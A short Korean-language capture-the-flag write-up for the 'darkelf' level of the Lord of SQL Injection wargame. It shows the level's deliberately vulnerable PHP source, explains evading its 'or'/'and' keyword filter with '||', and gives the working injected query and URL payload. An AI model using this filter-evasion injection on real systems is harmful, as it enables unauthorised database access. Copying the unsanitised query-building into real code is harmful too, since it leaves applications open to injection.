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6. LOS darkelf.md

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LOS darkelf

Keys

php source

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 에서 and와 or 을 검사한다. 따라서 or 과 같은 뜻인 || , and 와 같은 뜻인 & 의 hex 코드값인 %26를 사용하여 쿼리를 보내면 된다.

Query

Query

select id from prob_darkelf where id='guest' and pw='1' || id='admin'

Input value

http://los.eagle-jump.org/darkelf_6e50323a0bfccc2f3daf4df731651f75.php?pw=1%27%20||%20id=%27admin

Attack